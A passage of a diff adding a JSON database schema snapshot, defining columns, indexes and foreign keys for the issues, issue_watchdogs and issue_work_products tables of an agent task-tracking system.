"issue_tree_holds_released_by_agent_id_agents_id_fk": { + "name": "issue_tree_holds_released_by_agent_id_agents_id_fk", + "tableFrom": "issue_tree_holds", + "columnsFrom": [ + "released_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_tree_holds", + "columnsFrom": [ + "released_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_watchdogs": { + "name": "issue_watchdogs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "watchdog_agent_id": { + "name": "watchdog_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "instructions": { + "name": "instructions", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "watchdog_issue_id": { + "name": "watchdog_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_observed_fingerprint": { + "name": "last_observed_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_reviewed_fingerprint": { + "name": "last_reviewed_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_observed_stop_snapshot": { + "name": "last_observed_stop_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "last_reviewed_stop_snapshot": { + "name": "last_reviewed_stop_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "last_triggered_at": { + "name": "last_triggered_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_completed_at": { + "name": "last_completed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "trigger_count": { + "name": "trigger_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_agent_id": { + "name": "updated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_run_id": { + "name": "updated_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_watchdogs_company_issue_uq": { + "name": "issue_watchdogs_company_issue_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_watchdogs_company_status_idx": { + "name": "issue_watchdogs_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_watchdogs_company_agent_idx": { + "name": "issue_watchdogs_company_agent_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "watchdog_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_watchdogs_company_watchdog_issue_uq": { + "name": "issue_watchdogs_company_watchdog_issue_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "watchdog_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null", + "concurrently": false + } + }, + "foreignKeys": { + "issue_watchdogs_company_id_companies_id_fk": { + "name": "issue_watchdogs_company_id_companies_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_watchdogs_issue_id_issues_id_fk": { + "name": "issue_watchdogs_issue_id_issues_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_watchdogs_watchdog_agent_id_agents_id_fk": { + "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "watchdog_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_watchdogs_watchdog_issue_id_issues_id_fk": { + "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "watchdog_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_watchdogs_created_by_agent_id_agents_id_fk": { + "name": "issue_watchdogs_created_by_agent_id_agents_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_watchdogs_updated_by_agent_id_agents_id_fk": { + "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "updated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_watchdogs", + "columnsFrom": [ + "updated_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_work_products": { + "name": "issue_work_products", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "runtime_service_id": { + "name": "runtime_service_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "external_id": { + "name": "external_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "url": { + "name": "url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "review_state": { + "name": "review_state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'none'" + }, + "is_primary": { + "name": "is_primary", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "health_status": { + "name": "health_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "source_trust": { + "name": "source_trust", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_work_products_company_issue_type_idx": { + "name": "issue_work_products_company_issue_type_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_work_products_company_execution_workspace_type_idx": { + "name": "issue_work_products_company_execution_workspace_type_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_work_products_company_provider_external_id_idx": { + "name": "issue_work_products_company_provider_external_id_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_work_products_company_updated_idx": { + "name": "issue_work_products_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_work_products_company_id_companies_id_fk": { + "name": "issue_work_products_company_id_companies_id_fk", + "tableFrom": "issue_work_products", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_work_products_project_id_projects_id_fk": { + "name": "issue_work_products_project_id_projects_id_fk", + "tableFrom": "issue_work_products", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_work_products_issue_id_issues_id_fk": { + "name": "issue_work_products_issue_id_issues_id_fk", + "tableFrom": "issue_work_products", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": { + "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "issue_work_products", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": { + "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk", + "tableFrom": "issue_work_products", + "columnsFrom": [ + "runtime_service_id" + ], + "tableTo": "workspace_runtime_services", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_work_products", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issues": { + "name": "issues", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_workspace_id": { + "name": "project_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "parent_id": { + "name": "parent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'backlog'" + }, + "status_version": { + "name": "status_version", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_status_decision_id": { + "name": "last_status_decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "work_mode": { + "name": "work_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'standard'" + }, + "harness_kind": { + "name": "harness_kind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "priority": { + "name": "priority", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'medium'" + }, + "review_policy": { + "name": "review_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "assignee_agent_id": { + "name": "assignee_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "assignee_user_id": { + "name": "assignee_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "checkout_run_id": { + "name": "checkout_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_run_id": { + "name": "execution_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_agent_name_key": { + "name": "execution_agent_name_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "execution_locked_at": { + "name": "execution_locked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "issue_number": { + "name": "issue_number", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "identifier": { + "name": "identifier", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "origin_kind": { + "name": "origin_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "origin_id": { + "name": "origin_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "origin_run_id": { + "name": "origin_run_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "origin_fingerprint": { + "name": "origin_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'default'" + }, + "request_depth": { + "name": "request_depth", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "billing_code": { + "name": "billing_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "assignee_adapter_overrides": { + "name": "assignee_adapter_overrides", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "execution_policy": { + "name": "execution_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "execution_state": { + "name": "execution_state", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "monitor_next_check_at": { + "name": "monitor_next_check_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "monitor_wake_requested_at": { + "name": "monitor_wake_requested_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "monitor_last_triggered_at": { + "name": "monitor_last_triggered_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "monitor_attempt_count": { + "name": "monitor_attempt_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "monitor_notes": { + "name": "monitor_notes", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "monitor_scheduled_by": { + "name": "monitor_scheduled_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_preference": { + "name": "execution_workspace_preference", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_settings": { + "name": "execution_workspace_settings", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "source_trust": { + "name": "source_trust", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "unblock_descriptor": { + "name": "unblock_descriptor", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "blocked_transition_at": { + "name": "blocked_transition_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "blocked_owner_notified_at": { + "name": "blocked_owner_notified_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "cancelled_at": { + "name": "cancelled_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "hidden_at": { + "name": "hidden_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issues_company_status_idx": { + "name": "issues_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_harness_kind_idx": { + "name": "issues_company_harness_kind_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "harness_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_assignee_status_idx": { + "name": "issues_company_assignee_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "assignee_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_assignee_user_status_idx": { + "name": "issues_company_assignee_user_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "assignee_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_responsible_user_idx": { + "name": "issues_company_responsible_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "responsible_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_parent_idx": { + "name": "issues_company_parent_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_project_idx": { + "name": "issues_company_project_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_origin_idx": { + "name": "issues_company_origin_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_project_workspace_idx": { + "name": "issues_company_project_workspace_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_execution_workspace_idx": { + "name": "issues_company_execution_workspace_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_monitor_due_idx": { + "name": "issues_company_monitor_due_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "monitor_next_check_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_updated_idx": { + "name": "issues_company_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_company_created_idx": { + "name": "issues_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_open_normalized_title_created_idx": { + "name": "issues_open_normalized_title_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))", + "isExpression": true, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_company_priority_idx": { + "name": "issues_company_priority_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "priority", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_identifier_idx": { + "name": "issues_identifier_idx", + "columns": [ + { + "expression": "identifier", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issues_title_search_idx": { + "name": "issues_title_search_idx", + "columns": [ + { + "expression": "title", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "issues_identifier_search_idx": { + "name": "issues_identifier_search_idx", + "columns": [ + { + "expression": "identifier", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "issues_description_search_idx": { + "name": "issues_description_search_idx", + "columns": [ + { + "expression": "description", + "isExpression": false, + "asc": true, + "nulls": "last", + "opclass": "gin_trgm_ops" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + }, + "issues_open_routine_execution_uq": { + "name": "issues_open_routine_execution_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_fingerprint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n and \"issues\".\"origin_id\" is not null\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"execution_run_id\" is not null\n and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')", + "concurrently": false + }, + "issues_active_liveness_recovery_incident_uq": { + "name": "issues_active_liveness_recovery_incident_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n and \"issues\".\"origin_id\" is not null\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_active_liveness_recovery_leaf_uq": { + "name": "issues_active_liveness_recovery_leaf_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_fingerprint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n and \"issues\".\"origin_fingerprint\" <> 'default'\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_active_stale_run_evaluation_uq": { + "name": "issues_active_stale_run_evaluation_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n and \"issues\".\"origin_id\" is not null\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_active_task_watchdog_uq": { + "name": "issues_active_task_watchdog_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n and \"issues\".\"origin_id\" is not null\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_active_productivity_review_uq": { + "name": "issues_active_productivity_review_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n and \"issues\".\"origin_id\" is not null\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_active_stranded_issue_recovery_uq": { + "name": "issues_active_stranded_issue_recovery_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n and \"issues\".\"origin_id\" is not null\n and \"issues\".\"hidden_at\" is null\n and \"issues\".\"status\" not in ('done', 'cancelled')", + "concurrently": false + }, + "issues_onboarding_first_task_uq": { + "name": "issues_onboarding_first_task_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } 